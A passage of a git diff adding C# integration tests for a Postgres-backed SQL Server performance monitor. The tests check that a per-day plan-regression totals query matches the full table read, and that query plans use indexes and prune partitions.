+        Assert.Contains("d.day >= s.filled_since::date + 1", PlanRegressionDaily.PlanSql, StringComparison.Ordinal);
+        Assert.Contains("b.built_seq IS NULL OR b.built_seq <> b.late_seq", PlanRegressionDaily.PlanSql, StringComparison.Ordinal);
+        Assert.Contains("- 14)::timestamp", PlanRegressionDaily.PlanSql, StringComparison.Ordinal);
+        Assert.Contains("- 3)::timestamp", PlanRegressionDaily.PlanSql, StringComparison.Ordinal);
+
+        /* Both tables in one transaction: the built rows first, then the totals by key. */
+        Assert.Contains("DELETE FROM collect.plan_regression_daily_built", PlanRegressionDaily.GcBuiltSql, StringComparison.Ordinal);
+        Assert.Contains("RETURNING server_id, day", PlanRegressionDaily.GcBuiltSql, StringComparison.Ordinal);
+        Assert.Contains("DELETE FROM collect.plan_regression_daily\nWHERE server_id = $1::integer\nAND   day = $2::date;", PlanRegressionDaily.GcTotalsSql.Replace("\r\n", "\n", StringComparison.Ordinal), StringComparison.Ordinal);
+    }
+
+    private static string Body(string source, string signature)
+    {
+        var start = source.IndexOf(signature, StringComparison.Ordinal);
+        if (start < 0)
+        {
+            return string.Empty;
+        }
+
+        var open = source.IndexOf('{', start);
+        var depth = 0;
+        for (var i = open; i < source.Length; i++)
+        {
+            if (source[i] == '{')
+            {
+                depth++;
+            }
+            else if (source[i] == '}' && --depth == 0)
+            {
+                return source[(open + 1)..i];
+            }
+        }
+
+        return string.Empty;
+    }
+}
diff --git a/Darling/Darling.Tests/PlanRegressionDailyParityLiveTests.cs b/Darling/Darling.Tests/PlanRegressionDailyParityLiveTests.cs
new file mode 100644
index 0000000000..e86ff3b0d2
--- /dev/null
+++ b/Darling/Darling.Tests/PlanRegressionDailyParityLiveTests.cs
@@ -0,0 +1,353 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5448's merge gate: PLAN_REGRESSION over per-day totals (<see cref="PgFactCollector.PlanRegressionDailySql"/>) returns
+/// EXACTLY what <see cref="PgFactCollector.PlanRegressionTableSql"/> returns over the same snapshots, whichever days are
+/// built. The store is seeded through the real write path (open and closed snapshots of each interval, non-Regular rows,
+/// two replica roles, a forced plan, plans that share a hash, an interval that straddles midnight, a NULL execution
+/// count), the days are built with <see cref="PlanRegressionDaily.BuildDaySql"/>, and the rows are compared in order,
+/// column for column. The window start is day-aligned, which is the case the two reads are equal for by construction.
+///
+/// <para>Cases: no day built (the live half alone), every day built, a mixed set, built days the coverage claim does not
+/// reach, a late interval that invalidates the days it can touch (the stale day is left out of the built set, as the
+/// collector's built-days read leaves it), and the same store after the rebuild. A last case proves the late-interval
+/// case is not vacuous: reading the stale day anyway gives a different answer.</para>
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres and then works entirely inside it. */
+public sealed class PlanRegressionDailyParityLiveTests
+{
+    private const int ServerId = -5448004;
+
+    /// <summary>Day-aligned, so the window's exact start and M are the same instant.</summary>
+    private static readonly DateTime TimeRangeStart = new(2026, 9, 11, 0, 0, 0, DateTimeKind.Unspecified);
+
+    private static readonly DateTime WindowStart = TimeRangeStart.AddDays(-14);
+
+    private static readonly DateTime T0 = TimeRangeStart.AddDays(-10);
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task EveryBuiltSet_EqualsTheTableRead_AndALateIntervalInvalidatesThenRebuilds()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 parity test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var runner = new DarlingCollectorRunner(postgres, new CollectorDeltaCalculator());
+
+        await SeedAsync(runner, ct);
+        /* A NULL execution count on one interval of 800's cheap plan: SUM skips it on both routes. */
+        await ExecAsync(connection,
+            "UPDATE collect.query_store_interval_latest SET execution_count = NULL WHERE server_id = @s AND query_id = 800 AND plan_id = 8001 AND first_execution_time = @f",
+            ct, ("f", T0.AddDays(2).AddHours(12)));
+        /* Coverage below every seeded row, as a store that has filled for longer than the window would have. */
+        await ExecAsync(connection, "UPDATE collect.query_store_interval_latest_coverage SET filled_since = @a WHERE server_id = @s",
+            ct, ("a", WindowStart.AddDays(-2)));
+
+        var expected = await TableRowsAsync(connection, ct);
+        Assert.True(expected.Count >= 5, $"the seed produced {expected.Count} PLAN_REGRESSION row(s); the comparison needs real regressions");
+
+        var allDays = Enumerable.Range(0, 12).Select(i => DateOnly.FromDateTime(T0.AddDays(i))).ToList();
+
+        /* ---- G empty: the daily read's live half alone is the table read ---- */
+        Assert.Empty(await BuiltDaysAsync(connection, ct));
+        Assert.Equal(expected, await DailyRowsAsync(connection, ct));
+
+        /* ---- all built ---- */
+        foreach (var day in allDays) await BuildDayAsync(connection, day, ct);
+        var all = await BuiltDaysAsync(connection, ct);
+        Assert.Equal(allDays, all);
+        Assert.Equal(expected, await DailyRowsAsync(connection, ct));
+
+        /* ---- mixed: four days unbuilt, the rest built ---- */
+        await ExecAsync(connection, "DELETE FROM collect.plan_regression_daily_built WHERE server_id = @s AND day IN (@d1, @d2, @d3, @d4)", ct,
+            ("d1", allDays[1].ToDateTime(TimeOnly.MinValue)), ("d2", allDays[2].ToDateTime(TimeOnly.MinValue)),
+            ("d3", allDays[6].ToDateTime(TimeOnly.MinValue)), ("d4", allDays[9].ToDateTime(TimeOnly.MinValue)));
+        var mixed = await BuiltDaysAsync(connection, ct);
+        Assert.Equal(allDays.Count - 4, mixed.Count);
+        Assert.Equal(expected, await DailyRowsAsync(connection, ct));
+
+        /* ---- built days the coverage claim does not reach are left out, and the read is still equal ---- */
+        foreach (var day in allDays) await BuildDayAsync(connection, day, ct);
+        await ExecAsync(connection, "UPDATE collect.query_store_interval_latest_coverage SET filled_since = @a WHERE server_id = @s",
+            ct, ("a", T0.AddDays(4).AddHours(12)));
+        var covered = await BuiltDaysAsync(connection, ct);
+        Assert.Equal(allDays.Where(d => d >= DateOnly.FromDateTime(T0.AddDays(5))).ToList(), covered);
+        Assert.Equal(expected, await DailyRowsAsync(connection, ct));
+        await ExecAsync(connection, "UPDATE collect.query_store_interval_latest_coverage SET filled_since = @a WHERE server_id = @s",
+            ct, ("a", WindowStart.AddDays(-2)));
+
+        /* ---- a late interval into a closed day: the trigger's bump (done here by hand, the seed is older than the
+           trigger's 17-day reach) leaves the day and the one after it invalid ---- */
+        var lateStart = T0.AddDays(2).AddHours(14);
+        await WriteAsync(runner, [(1.0, Row("qsA", 100, 1001, 5000, lateStart, lateStart.AddMinutes(30), 4000, 10))], lateStart.AddMinutes(40), ct);
+        await ExecAsync(connection, "UPDATE collect.query_store_interval_latest_coverage SET filled_since = @a WHERE server_id = @s",
+            ct, ("a", WindowStart.AddDays(-2)));
+        await ExecAsync(connection, "UPDATE collect.plan_regression_daily_built SET late_seq = late_seq + 1 WHERE server_id = @s AND day IN (@d1, @d2)",
+            ct, ("d1", allDays[2].ToDateTime(TimeOnly.MinValue)), ("d2", allDays[3].ToDateTime(TimeOnly.MinValue)));
+
+        var afterLate = await TableRowsAsync(connection, ct);
+        Assert.NotEqual(expected, afterLate);
+        var stale = await BuiltDaysAsync(connection, ct);
+        Assert.DoesNotContain(allDays[2], stale);
+        Assert.DoesNotContain(allDays[3], stale);
+        Assert.Equal(afterLate, await DailyRowsAsync(connection, ct));
+
+        /* Not vacuous: had the stale day been read from its old totals, the answer would be wrong. */
+        await ExecAsync(connection, "UPDATE collect.plan_regression_daily_built SET built_seq = late_seq WHERE server_id = @s AND day = @d",
+            ct, ("d", allDays[2].ToDateTime(TimeOnly.MinValue)));
+        var withStale = await DailyRowsAsync(connection, ct);
+        Assert.NotEqual(afterLate, withStale);
+        await ExecAsync(connection, "UPDATE collect.plan_regression_daily_built SET built_seq = late_seq - 1 WHERE server_id = @s AND day = @d",
+            ct, ("d", allDays[2].ToDateTime(TimeOnly.MinValue)));
+
+        /* ---- rebuilt: valid again, and equal ---- */
+        await BuildDayAsync(connection, allDays[2], ct);
+        await BuildDayAsync(connection, allDays[3], ct);
+        Assert.Equal(allDays, await BuiltDaysAsync(connection, ct));
+        Assert.Equal(afterLate, await DailyRowsAsync(connection, ct));
+
+    }
+
+    /* ---------------------------------------------------------------------------------------------------------- */
+
+    private static QueryStoreCollector.Row Row(
+        string database, long queryId, long planId, long intervalId, DateTime first, DateTime last, long executions,
+        long cpuUs, string? role = null, string type = "Regular", bool forced = false, string? planHash = null) => new()
+        {
+            DatabaseName = database,
+            QueryId = queryId,
+            PlanId = planId,
+            ExecutionTypeDesc = type,
+            FirstExecutionTime = first,
+            LastExecutionTime = last,
+            QueryHash = "0xQ" + queryId.ToString(CultureInfo.InvariantCulture),
+            QueryPlanHash = planHash ?? "0xP" + planId.ToString(CultureInfo.InvariantCulture),
+            ExecutionCount = executions,
+            AvgCpuTimeUs = cpuUs,
+            AvgDurationUs = cpuUs * 3,
+            IsForcedPlan = forced,
+            ForceFailureCount = forced ? 2 : 0,
+            ReplicaRole = role,
+            RuntimeStatsIntervalId = intervalId,
+        };
+
+    private static (CollectorContext Context, ServerRuntime Server) Harness()
+    {
+        var context = new CollectorContext
+        {
+            ServerId = ServerId,
+            ServerName = "qsil-5448-host",
+            CollectionTime = DateTime.UtcNow,
+            Deltas = new CollectorDeltaCalculator(),
+        };
+        var server = new ServerRuntime
+        {
+            Config = new MonitoredServer { Name = "qsil-5448", Host = "qsil-5448-host" },
+            ConnectionString = "Server=qsil-5448-host",
+            Target = new CollectorTargetInfo { SqlMajorVersion = 16 },
+            StorageName = "qsil-5448-host",
+            ServerId = ServerId,
+            EngineEdition = 3,
+        };
+        return (context, server);
+    }
+
+    /// <summary>Ships batches of (fraction, row) by fraction, one database at a time, at one collection time per fraction.</summary>
+    private static async Task WriteAsync(
+        DarlingCollectorRunner runner, IReadOnlyList<(double Fraction, QueryStoreCollector.Row Row)> rows, DateTime closedCollection, CancellationToken ct)
+    {
+        var (context, server) = Harness();
+        foreach (var fraction in rows.Select(r => r.Fraction).Distinct().OrderBy(f => f))
+        {
+            var batch = rows.Where(r => r.Fraction == fraction).Select(r => r.Row).ToList();
+            var collectionTime = fraction >= 1.0 ? closedCollection : closedCollection.AddMinutes(-20);
+            foreach (var perDatabase in batch.GroupBy(r => r.DatabaseName))
+            {
+                await runner.WriteBackfillBatchAsync(QueryStoreCollector.Instance, perDatabase.ToList(), server, collectionTime, context, ct);
+            }
+        }
+    }
+
+    /// <summary>
+    /// Ten days of intervals, each an open snapshot and then its closed one. Query 100 regresses on the NULL role,
+    /// 200 on a named one, 300 has one plan, 400 is only ever non-Regular, 500's intervals straddle midnight, 600's
+    /// cheap plan is forced, 700's plans 7001 and 7002 share a hash, and 800 has a NULL execution count on one interval.
+    /// </summary>
+    private static async Task SeedAsync(DarlingCollectorRunner runner, CancellationToken ct)
+    {
+        var interval = 5000L;
+        for (var day = 0; day < 10; day++)
+        {
+            var start = T0.AddDays(day).AddHours(12);
+            interval++;
+
+            var rows = new List<(double Fraction, QueryStoreCollector.Row Row)>();
+            void Both(string db, long query, long plan, long execs, long cpu, string? role = null, string type = "Regular", bool forced = false, string? hash = null)
+            {
+                rows.Add((0.5, Row(db, query, plan, interval, start, start.AddMinutes(25), execs / 2, cpu, role, type, forced, hash)));
+                rows.Add((1.0, Row(db, query, plan, interval, start, start.AddMinutes(55), execs, cpu, role, type, forced, hash)));
+            }
+
+            if (day is >= 1 and <= 3) Both("qsA", 100, 1001, 300, 100);
+            if (day is 8 or 9) Both("qsA", 100, 1002, 20000, 1000);
+            if (day == 2) Both("qsB", 200, 2001, 500, 200, role: "secondary1");
+            if (day == 9) Both("qsB", 200, 2002, 30000, 900, role: "secondary1");
+            Both("qsB", 300, 3001, 1000, 50);
+            if (day == 5) Both("qsA", 400, 4001, 90, 70, type: "Aborted");
+            if (day is >= 1 and <= 3) Both("qsA", 600, 6001, 400, 60, forced: true);
+            if (day is 8 or 9) Both("qsA", 600, 6002, 25000, 800);
+            if (day is >= 1 and <= 3) Both("qsA", 700, 7001, 200, 40, hash: "0xPSAME");
+            if (day == 5) Both("qsA", 700, 7002, 200, 40, hash: "0xPSAME");
+            if (day == 9) Both("qsA", 700, 7003, 30000, 700);
+            if (day is >= 1 and <= 3) Both("qsA", 800, 8001, 200, 30);
+            if (day is 8 or 9) Both("qsA", 800, 8002, 20000, 600);
+
+            await WriteAsync(runner, rows, start.AddMinutes(65), ct);
+
+            /* 500: an interval that opens at 23:40 and closes at 00:35 the next day, so its first execution is in one
+               day and its last in the next. Shipped on its own, collected after it closes. */
+            var late = T0.AddDays(day).AddHours(23).AddMinutes(40);
+            var straddle = new List<(double Fraction, QueryStoreCollector.Row Row)>();
+            if (day is >= 1 and <= 3)
+            {
+                straddle.Add((0.5, Row("qsA", 500, 5001, interval + 100, late, late.AddMinutes(10), 150, 80)));
+                straddle.Add((1.0, Row("qsA", 500, 5001, interval + 100, late, late.AddMinutes(55), 300, 80)));
+            }
+
+            if (day is 8 or 9)
+            {
+                straddle.Add((0.5, Row("qsA", 500, 5002, interval + 100, late, late.AddMinutes(10), 10000, 900)));
+                straddle.Add((1.0, Row("qsA", 500, 5002, interval + 100, late, late.AddMinutes(55), 20000, 900)));
+            }
+
+            await WriteAsync(runner, straddle, late.AddMinutes(65), ct);
+        }
+    }
+
+    /* ---- the reads, bound as the collector binds them --------------------------------------------------- */
+
+    private static async Task<List<string>> TableRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(PgFactCollector.PlanRegressionTableSql, connection);
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(WindowStart);
+        command.Parameters.AddWithValue(TimeRangeStart.AddDays(-15));
+        command.Parameters.AddWithValue(TimeRangeStart.AddDays(-15));
+        return await RowsAsync(command, ct);
+    }
+
+    private static async Task<List<DateOnly>> BuiltDaysAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        var days = new List<DateOnly>();
+        await using var command = new NpgsqlCommand(PlanRegressionDaily.BuiltDaysSql, connection);
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(NpgsqlDbType.Timestamp, PgFactCollector.PlanRegressionWindowFloor(WindowStart));
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct)) days.Add(reader.GetFieldValue<DateOnly>(0));
+        return days;
+    }
+
+    private static async Task<List<string>> DailyRowsAsync(NpgsqlConnection connection, CancellationToken ct, List<DateOnly>? days = null)
+    {
+        days ??= await BuiltDaysAsync(connection, ct);
+        var floor = PgFactCollector.PlanRegressionWindowFloor(WindowStart);
+        await using var command = new NpgsqlCommand(PgFactCollector.PlanRegressionDailySql, connection);
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(NpgsqlDbType.Timestamp, floor);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Date, Value = days.ToArray() });
+        command.Parameters.AddWithValue(NpgsqlDbType.Timestamp, PgFactCollector.PlanRegressionLiveFloor(floor, days));
+        command.Parameters.AddWithValue(NpgsqlDbType.Timestamp, floor.AddDays(-1));
+        return await RowsAsync(command, ct);
+    }
+
+    /// <summary>What the builder does for one day (the builder's tick, minus its lock and timeout): replace the day's rows, then
+    /// stamp the built row at the sequence read before the build.</summary>
+    private static async Task BuildDayAsync(NpgsqlConnection connection, DateOnly day, CancellationToken ct)
+    {
+        var d = day.ToDateTime(TimeOnly.MinValue);
+        await ExecAsync(connection, "INSERT INTO collect.plan_regression_daily_built (server_id, day) VALUES (@s, @d) ON CONFLICT DO NOTHING",
+            ct, ("d", d));
+        long seq;
+        await using (var read = new NpgsqlCommand("SELECT late_seq FROM collect.plan_regression_daily_built WHERE server_id = @s AND day = @d", connection))
+        {
+            read.Parameters.AddWithValue("s", ServerId);
+            read.Parameters.AddWithValue("d", NpgsqlDbType.Date, day);
+            seq = (long)(await read.ExecuteScalarAsync(ct))!;
+        }
+
+        await ExecAsync(connection, "DELETE FROM collect.plan_regression_daily WHERE server_id = @s AND day = @d", ct, ("d", d));
+        await using (var build = new NpgsqlCommand(PlanRegressionDaily.BuildDaySql, connection))
+        {
+            build.Parameters.AddWithValue(ServerId);
+            build.Parameters.AddWithValue(NpgsqlDbType.Date, day);
+            build.Parameters.AddWithValue(NpgsqlDbType.Timestamp, d.AddDays(1));
+            build.Parameters.AddWithValue(NpgsqlDbType.Timestamp, d.AddDays(-1));
+            await build.ExecuteScalarAsync(ct);
+        }
+
+        await ExecAsync(connection, "UPDATE collect.plan_regression_daily_built SET built_seq = @q, built_at = @d, source_rows = 0 WHERE server_id = @s AND day = @d",
+            ct, ("d", d), ("q", seq));
+    }
+
+    private static async Task<List<string>> RowsAsync(NpgsqlCommand command, CancellationToken ct)
+    {
+        var rows = new List<string>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            var values = new string[reader.FieldCount];
+            for (var i = 0; i < reader.FieldCount; i++)
+            {
+                values[i] = reader.IsDBNull(i)
+                    ? "<null>"
+                    : Convert.ToString(reader.GetValue(i), CultureInfo.InvariantCulture) ?? "";
+            }
+
+            rows.Add(string.Join("|", values));
+        }
+
+        return rows;
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct, params (string Name, object Value)[] parameters)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.AddWithValue("s", ServerId);
+        foreach (var (name, value) in parameters)
+        {
+            command.Parameters.AddWithValue(name, value);
+        }
+
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/PlanRegressionDailyReadShapeLiveTests.cs b/Darling/Darling.Tests/PlanRegressionDailyReadShapeLiveTests.cs
new file mode 100644
index 0000000000..34473edaef
--- /dev/null
+++ b/Darling/Darling.Tests/PlanRegressionDailyReadShapeLiveTests.cs
@@ -0,0 +1,338 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5448's read shape, from the executed plan of <see cref="PgFactCollector.PlanRegressionDailySql"/> on a store with
+/// three servers' worth of intervals, so a regression that reads the whole table (or reads the closed days' raw
+/// intervals again) fails here and not on a field store.
+///
+/// <para>The closed days (<c>T-14</c> to <c>T-3</c>) are built through the real builder for every server, the read is
+/// bound the way the collector binds it, and the plan is read with <c>EXPLAIN (ANALYZE, BUFFERS, FORMAT JSON)</c>.
+/// Parallelism is off for the session so the per-node row counts are the whole counts and not per-worker averages.</para>
+///
+/// <para>Two shapes. On the heap (the interval table today) the live half reads through the one index it has,
+/// <c>first_execution_time</c>, from the live floor up, so it touches the open days of every server and returns one
+/// server's; the test asserts what holds with that index (it does not scan the whole table, it keeps rows read under a
+/// bound set by the open days, and the day half reads <c>plan_regression_daily</c> through its unique index) and writes the
+/// rows read, the rows returned and the blocks touched to <c>DARLING_5448_SHAPE_OUT</c> when that is set, which is where the
+/// numbers in the PR come from. On a hypertable (the table is converted by hand: the product does not partition it, and the read gate
+/// takes the table floor from the per-server minimum either way, #5541) the live half scans only the chunks
+/// at or above the live floor.</para>
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres and then works entirely inside it. */
+public sealed class PlanRegressionDailyReadShapeLiveTests
+{
+    private const int ServerA = -5448201;
+    private static readonly int[] Servers = [ServerA, -5448202, -5448203];
+
+    /// <summary>Queries per server per day; each has two plans, so the rows per server per day are twice this.</summary>
+    private const int QueriesPerDay = 1500;
+
+    private const int RowsPerServerDay = QueriesPerDay * 2;
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task OnTheHeap_TheLiveHalfReadsOnlyFromTheLiveFloorUp_AndTheDayHalfUsesItsUniqueIndex()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 read-shape test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var (today, built) = await SeedAndBuildAsync(connection, ct);
+        var floor = PgFactCollector.PlanRegressionWindowFloor(today.AddDays(-14));
+        var builtDays = built.Select(DateOnly.FromDateTime).ToList();
+        Assert.Equal(12, builtDays.Count);
+        Assert.Equal(builtDays, await BuiltDaysAsync(connection, floor, ct));
+
+        var totalRows = await ScalarAsync(connection, "SELECT count(*) FROM collect.query_store_interval_latest", ct);
+        var openDays = Enumerable.Range(0, 3).Select(i => today.AddDays(-2 + i)).ToList();
+        var expectedReturned = openDays.Count * RowsPerServerDay;
+        Assert.Equal(Servers.Length * 17L * RowsPerServerDay, totalRows);
+
+        var plan = await ExplainAsync(connection, today, floor, builtDays, ct);
+        var live = ScansOf(plan, "query_store_interval_latest").ToList();
+        var daily = ScansOf(plan, "plan_regression_daily").ToList();
+        Assert.NotEmpty(live);
+        Assert.NotEmpty(daily);
+
+        var liveRead = live.Sum(s => s.RowsRead);
+        var liveReturned = live.Sum(s => s.RowsReturned);
+        var liveBlocks = live.Sum(s => s.Blocks);
+        var dailyRead = daily.Sum(s => s.RowsRead);
+        var dailyReturned = daily.Sum(s => s.RowsReturned);
+        var dailyTotal = await ScalarAsync(connection, "SELECT count(*) FROM collect.plan_regression_daily", ct);
+
+        Report("heap", totalRows, liveRead, liveReturned, liveBlocks, dailyTotal, dailyRead, dailyReturned, string.Join(",", live.Select(s => s.NodeType)));
+
+        /* What the read must return from its live half: the open days of ONE server, nothing of the closed days. */
+        Assert.Equal(expectedReturned, liveReturned);
+
+        /* It never reads the closed days' raw rows: the first_execution_time index starts at the live floor, so what it
+           reads is at most the floor day and the open days of every server (four of the seventeen seeded days). A sequential scan
+           (or an index with no usable bound) reads every row of every server. */
+        var readCeiling = Servers.Length * 5L * RowsPerServerDay;
+        Assert.True(liveRead <= readCeiling,
+            $"the live half read {liveRead} interval rows of {totalRows}; the floor day plus the open days of every server is {readCeiling}");
+        Assert.DoesNotContain(live, s => s.NodeType == "Seq Scan");
+
+        /* The day half. With three servers' totals the planner may well prefer a sequential scan of the small daily table
+           (a third of it is this server's), which the report above records; what must hold is that the unique index
+           serves the branch, so that on a store with many servers the read touches this server's built days only. With
+           sequential scans off the plan has to use ux_plan_regression_daily and read no more than one server's share. */
+        var indexed = ScansOf(await ExplainAsync(connection, today, floor, builtDays, ct, noSeqScan: true), "plan_regression_daily").ToList();
+        Assert.NotEmpty(indexed);
+        Assert.DoesNotContain(indexed, s => s.NodeType == "Seq Scan");
+        Assert.All(indexed, s => Assert.Equal("ux_plan_regression_daily", s.IndexName));
+        var indexedRead = indexed.Sum(s => s.RowsRead);
+        Assert.True(indexedRead <= dailyTotal / Servers.Length,
+            $"the day half read {indexedRead} of {dailyTotal} daily rows through the index, which is more than one server's share");
+        Report("heap, seq scans off", totalRows, 0, 0, 0, dailyTotal, indexedRead, indexed.Sum(s => s.RowsReturned),
+            string.Join(",", indexed.Select(s => s.NodeType + ":" + s.IndexName)));
+    }
+
+    [Fact]
+    public async Task OnADayPartitionedStore_TheLiveHalfScansOnlyThePartitionsAtOrAboveTheLiveFloor()
+    {
+        /* #5571: query_store_interval_latest is a table partitioned by day, so the old "make it a hypertable" setup is
+           refused ("already partitioned") and the chunk exclusion this test measured is now partition pruning. The
+           store is promoted as of 19 days ago (the legacy bound is T-17, the create-ahead covers the rest up to the 15-day horizon
+           and T+3), so the seeded days land in daily partitions, not in the legacy table (whose rows would be read by its bound alone), and the floor's reach is countable. */
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 read-shape test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var utcNow = DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc); // #5608: the clock override reaches the seed
+        var promoted = await QueryStoreIntervalPartitions.RunPromotionAsync(
+            connection, QueryStoreIntervalPartitions.Latest, utcNow.AddDays(-19), Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance,
+            TimeSpan.FromMilliseconds(50), TimeSpan.FromMilliseconds(50), ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, promoted.Outcome);
+        var created = await QueryStoreIntervalPartitions.CreateAheadAsync(
+            connection, QueryStoreIntervalPartitions.Latest, utcNow, Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, created.Outcome);
+
+        var (today, built) = await SeedAndBuildAsync(connection, ct);
+        var floor = PgFactCollector.PlanRegressionWindowFloor(today.AddDays(-14));
+        var builtDays = built.Select(DateOnly.FromDateTime).ToList();
+        Assert.Equal(12, builtDays.Count);
+
+        var partitions = await ScalarAsync(connection,
+            "SELECT count(*) FROM pg_inherits AS i JOIN pg_class AS c ON c.oid = i.inhrelid WHERE i.inhparent = 'collect.query_store_interval_latest'::regclass AND c.relname ~ '_p[0-9]{8}$'", ct);
+        var seededHome = await ScalarAsync(connection,
+            "SELECT count(*) FROM collect.query_store_interval_latest_legacy", ct);
+        Assert.True(partitions >= 17, $"the store has {partitions} daily partition(s); the test needs the 17 seeded days in separate ones");
+        Assert.Equal(0, seededHome);
+
+        var plan = await ExplainAsync(connection, today, floor, builtDays, ct);
+        var live = ScansOf(plan, "query_store_interval_latest_p").ToList();
+        Assert.NotEmpty(live);
+        var livePlan = live.Select(s => s.Relation).Distinct().ToList();
+
+        /* The live floor is the day before the first open day, T-3. A partition that holds only older days must not
+           appear as a scan at all: excluded partitions are pruned. The partitions created ahead (T+1 through T+3) are
+           empty and may be scanned. The rows the scans of T-3 through T return are all the live half asks for. */
+        var scannedBelowFloor = livePlan
+            .Where(r => DateTime.ParseExact(r[^8..], "yyyyMMdd", CultureInfo.InvariantCulture) < floor.Date)
+            .ToList();
+        var liveReturned = live.Sum(s => s.RowsReturned);
+        Report("day partitions", await ScalarAsync(connection, "SELECT count(*) FROM collect.query_store_interval_latest", ct),
+            live.Sum(s => s.RowsRead), liveReturned, live.Sum(s => s.Blocks), 0, 0, 0, $"{livePlan.Count} partition(s) scanned of {partitions}");
+        Assert.True(scannedBelowFloor.Count == 0,
+            $"the live half scanned {scannedBelowFloor.Count} partition(s) older than the floor ({string.Join(",", scannedBelowFloor)}) of {partitions}");
+        Assert.True(livePlan.Count <= 8, $"the live half scanned {livePlan.Count} of {partitions} partitions; the floor reaches back to T-3 only and three more are created ahead");
+        Assert.Equal(3 * RowsPerServerDay, liveReturned);
+    }
+
+    /* ---------------------------------------------------------------------------------------------------------- */
+
+    /// <summary>
+    /// Seeds <see cref="Servers"/> with seventeen days of two-plan intervals ending today (T-16 through T), gives each a
+    /// coverage claim below the window, and builds T-14 through T-3 for every server through the real builder. Returns
+    /// today (naive UTC midnight) and the days built.
+    /// </summary>
+    private static async Task<(DateTime Today, List<DateTime> Built)> SeedAndBuildAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        var now = LiveClock.Now(); // #5608: whole UTC days from here; the clock override reaches the seed
+        var today = now.Date;
+
+        /* The late-row trigger fires per row for anything in its 16-day reach; the seed is not a late arrival, so it is
+           off for the load and back on for the builds. */
+        await ExecAsync(connection, "ALTER TABLE collect.query_store_interval_latest DISABLE TRIGGER trg_plan_regression_daily_late", ct);
+        foreach (var server in Servers)
+        {
+            await using var seed = new NpgsqlCommand(@"
+INSERT INTO collect.query_store_interval_latest
+(
+    server_id, database_name, query_id, plan_id, replica_role, runtime_stats_interval_id, first_execution_time,
+    collection_time, query_plan_hash, query_hash, execution_count, avg_cpu_time_us, avg_duration_us,
+    last_execution_time, is_forced_plan, force_failure_count
+)
+SELECT
+    @s, 'shapedb', q, q * 10 + p, NULL, (q % 22) + 1,
